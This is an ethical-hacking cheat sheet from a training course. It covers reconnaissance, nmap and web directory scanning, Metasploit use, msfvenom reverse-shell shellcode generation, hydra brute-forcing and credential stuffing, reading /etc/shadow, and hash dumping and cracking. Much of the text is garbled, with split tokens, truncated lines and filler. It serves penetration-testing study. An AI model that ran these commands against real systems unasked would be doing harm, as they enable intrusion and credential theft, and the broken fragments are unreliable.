peh-cheatsheat Cheat Sheet

by gad via cheatography.com/183164/cs/38127/

Ports

ftp	21
ssh	22
telnet	23
smtp	25
POP3	110
IMAP	143
smb	139, 445
DNS	53
TFTP	69
SNMP	161

MISCELLANOUS

Google Fu

use quotations to find only results that contain the text within the quotation marks.

> "Introduction to Cryptography"

use `site` keyword to only find results from a specific website.

> Introduction to Cryptography site:stackexchange.com

using the filetype keyword to search for specific file types.

> Introduction to Cryptography -review filetype:pdf

using the allintitle option to search the title of webpages for your provided keyword/text

> allintitle:index of

Google Fu (cont)

using the inurl option to search for the existence of a particular string in a url

> inurl:admin site:someadminsite.com

to get results that contain links/redirects to the example.com

> link:example.com

use the *wildcard to do a wildcard search for results that have anything as the* but must begin and end with “hack” and “VPN” respectively

> "hack * VPN"

to return results of websites that offer similar services to amazon.com , useful if you want to know other competitors for a particular service

> Dell Laptop related:amazon.com

More of Google Fu here: https://www.blackhat.com/presentations/bh-europe-05/BH_EU_05-Long.pdf

File transfers

sdsdf

> sdsf

Spawing TTY shells

Link 1

Link 2

More metasploit

To search for metasploit modules within a metasploit module directory

```
search /path/ to/ msf /module -t search _st
ring
search exploi ts/ linux -t ftp
```

Useful Linux Commands

To locate a file

```
updatedb
locate FILE
```

To clone a github repo

```
git clone REPO_URL
```

For **command2** to execute if and only if**comma**

```
COMMAND1 && COMMAND2
```

For **command2** to execute if and only if**comma**

```
COMMAND1 || COMMAND2
```

Print a range of numbers from **start** to **stop** witl

```
seq [START_NO] [STEP] STOP_NO
seq 1 256
```

To split a string into fields based on a delimiter the Nth field. Include **file** if string is in a file and

> `" string to cut into six fields "` [FILE]

To list open ports on a system

> netstat -lp

To kill a process on an open port (thus closing

> kill **pid_no**

To zip a file/directory (-r for recursiveness)

```
zip -r zipped fil e.zip file-o r-
```

To unzip a zipped file

```
unzip zipped fil e.zip
```

Useful Linux Commands (cont)

To list crontab for a user

```
crontab -u johndoe -l
```

To create a cronjob to echo "nice" into a file every minute (more on cronjobs here`:

```
crontab -e --> */1 * * * * echo " nic
 e" >> file.txt
```

To find a *file* in directory / with permission of *4000*

```
find / -type f -perm -4000
```

To set SUID bit on a file or dir

`chmod u+s` or `chmod 4000`

To set SGID bit on a file or dir

`chmod g+s` or `chmod 2000`

To set sticky bit on a file or dir

`chmod +t` or `chmod 1000`

Network Commands

To get IP info of network interfaces

```
ip a
```

To get arp neighbors

```
ip n
arp -a
```

To get info on gateway

```
ip r
```

Users and Privileges

To switch between users

```
su USERNAME
```

To run a **command** as **user** without explicitly switching users

```
su USERNAME -c " COM MAN D"
```

To list sudo permissions for a user in (terminal scope

```
sudo -l
```

To elevate priv of a user in terminal scope into super user

```
sudo su
```

For persistent super user / root mode

```
sudo -s
```

To change passwd for a **user**

```
passwd USERNAME
```

To add a new **user account**

```
adduser USERNAME
```

To view all user accounts, passwd or shadow file

```
cat /etc/p asswd
cat /etc/s hadow
```

To view all groups

```
cat /etc/group
```

To view sudo users (sudoers)

```
cat /etc/s udoers
```

Linux Services

To start, stop or restart a service

```
service SERVIC E_NAME start
service SERVIC E_NAME stop
service SERVIC E_NAME restart
```

To check status of a service

```
service SERVIC E_NAME status
```

Stages of Ethical Hacking

information gathering	using tools like wapalyzer, builtwith, breachparse,
scanning and enumeration	using tools like nmap, dirb, nikto, nessus, sublist3r, amass,
gaining access (exploitation)	using tools like searchsploit, exploit-db, metasploit, buffer overflows, bind/reverse shells
post-exploitation	using tools like pspy64, linpeas.sh, winpeas.sh or by doing a hashdump, passwd/shadow/group/sudoers file dumps, etc

Scanning and Enumeration

Port/Service Scanning/Discovery

enumerate all devices discoverable on a subn

```
netdis cover -r 10.10.1 0.0/24
```

nmap TCP half-open scan on all ports with OS detection, script scan, tracert

```
nmap -T4 -sS -p- -A 10.10.1 0.10
```

nmap scan on range of IPs with only ping scar disabled)

```
nmap -T4 -sn 10.10.1 0- 124.0-255
```

nmap TCP half-open scan for select ports whil discovery

```
nmap -T4 -sS -p1-1024 -A -Pn 10.1
55
```

Port/Service Scanning/Discovery (cont)

-sT (for full TCP 3-way handshake scan)
-sU (for UDP scan)

other scan techniques in place of -sS

Nessus scan

`service nessusd start` --> `https://kali:8834`

Nikto scan

`nikto -host http://10.10.10.10`

HTTP/S Enumeration

Website vuln scan with Nikto

`nikto -host http://10.10.10.10`

standard directory busting with dirb using default common.txt wordlist. -w ignores warnings. use -r for no recursive search.

`dirb https://securesite.com -w`

Directory busting with dirb specifying wordlists and extensions to append to words probe

`dirb http://unsecuresite.com /path/to/wordlist -X .html,.php -w

standard directory busting with gobuster

`gobuster dir -u https://somesite.com -w /path/to/wordlist`

directory busting with gobuster, specify **threads** and file extensions to append to words

`gobuster dir -u http://somesite.com -w /path/to/wordlist -x .html,.php`

Enumeration of tech stack for a website

whatweb https://www.example.com

Some wordlists to use:
`/usr/share/wordlists/dirbuster/[directory-list-2.3-medium.txt`
`/usr/.../dirbuster/directory-list-lowercase-2.3-medium.txt`
Other useful options for dirbusting with gobuster include: -c (to specify cookies string), -a (to set user agent).

Domain Enumeration

Sub-domain enumeration

`sublist3r -d DOMAIN.COM`

discover domain names hosted on a server via virtual hosting

dns -n SERVER_IP -r LOCAL_IP_RANGE_TO_SEARCH_FOR_DOMAINS {{nb}}
dnsrecon -n 10.10.10.11 -r 127.0.0.0/24

to add discovered domain to host file

edit /etc/hosts and add mapping: `SERVER_IP DOMAIN NAME.COM`

To probe domains for http/s servers using tomnomnom's httprobe

`cat domainnames.txt | httprobe`

SMB Enumeration

connect to SMB and list share names

`smbclient -L \\\\192.168.219.133`

connect to an SMB share

`smbclient \\\\192.168.219.133\\SHARENAME$`

Enumerate SMB with help from modules from metasploit *auxiliary*

search smb auxiliary

SSH Enumeration

connecting to SSH on legacy systems. First start with `ssh login@serverip` and continue incrementally if needed

ssh username@10.10.10.10 -oKexAlgorithms=+diffie-hellman-group-exchange-sha1 -oHostKeyAlgorithms=+ssh-rsa -c aes128-cbc

SSH Enumeration (cont)

To connect using private key.

`ssh -i id.rsa johndoe@10.0.0.1`

NFS Enumeration

To mount the network file system on local machine

`mount 10.0.0.1:/srv/nfs /mnt`

EXPLOITATION

Metasploit

Start metasploit. [Starting metasploit first time?]

`msfconsole`. `[msfdb init && msfconsole]`

To search for an **exploit**

`search` **`EXPLOIT_NAME`**

After search, to select an exploit

`use` **`exploitdb_id`**

To see options for an exploit

`options`

To set a value for an option

`set` **`option_name value`**

To run exploit

`run` or `exploit`

Automate metasploit with recourse scripts (`.rc` files)

`msfconsole -r FILE_NAME.rc`

To get list of all metasploit payloads via msfvenom

`msfvenom --list payloads`

Metasploit (cont)

To get the list of all options per payload

```
msfvenom -p payloa d_name --list -op
```

To get list of payload file output formats support by msfvenom

```
msfvenom --list formats
```

Basic syntax for using msfvenom

```
msfvenom -p payloa d_name OPTION 1=V ALUE1 OPTION 2=V ALUE2 -a sys_
arch
-f out_fi le_ format -o out_fi le_name
```

Create reverse_shell shellcode (e.g. for buffer overflow exploit)

```
msfvenom -p window s/s hel l_r eve rse_tcp LHOST= 10.0.0.1 LPORT=222
2
EXITFUNC=thread -b " \x0 0" -a x86 -f c
```

Searchsploit / Exploit-db

To search for an exploit on exploit-db

Use `exploit-db` website or `searchsp loit EXPLOI T_NAME` on terminal

After search, to get full local path on system for an exploit

```
searchsploit -p EXPLOI TDB_ID
```

Reverse shell

https://www.revshells.com/

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md

Bruteforce

Bruteforce password for a username to a service with hydra

```
hydra -l username -P /path/ to/ pas swo rdlist service://ip_addr:
port
hydra -l john -P /usr/s har e/j ohn /pa ssw ord.lst ssh:// 10.0.0
.1:22
```

Credential stuffing with hydra

```
hydra -L userna mes.txt -P passwo rds.txt ftp:// 10.0.0.1:21
```

Credential stuffing with hydra using a file with colon seperated "uname:pass" format on multiple targets

```
hydra -C logins.txt -M target s.txt -p 139 smb
```

Bruteforce password for a zip file

```
fcrackzip -u -D -p /path/ to/ wor dlist zipfil e_name
```

For bruteforcing web-sites/-apps, use Burp Suite >> Intruder >> Sniper (for password spraying or to try several passwords against a username --). Use Burp Suite >> Intruder >> Pitchfork (for credential stuffing) or use Burp Suite >> Intruder >> Cluster bomb (for credential stuffing that tries every combination of username/password)

Post Exploitation

Dump password hashes of user accounts	`hashdump`
To identify a type of hash	`hash-identifier`

To crack a hash using hashcat (check https://hashcat.net/wiki/doku.php?id=hashcat for **hash-mode**)	`hashcat -m hash-mode dige`
	`ist-`
	`hashcat -m 0 cd7350 282..`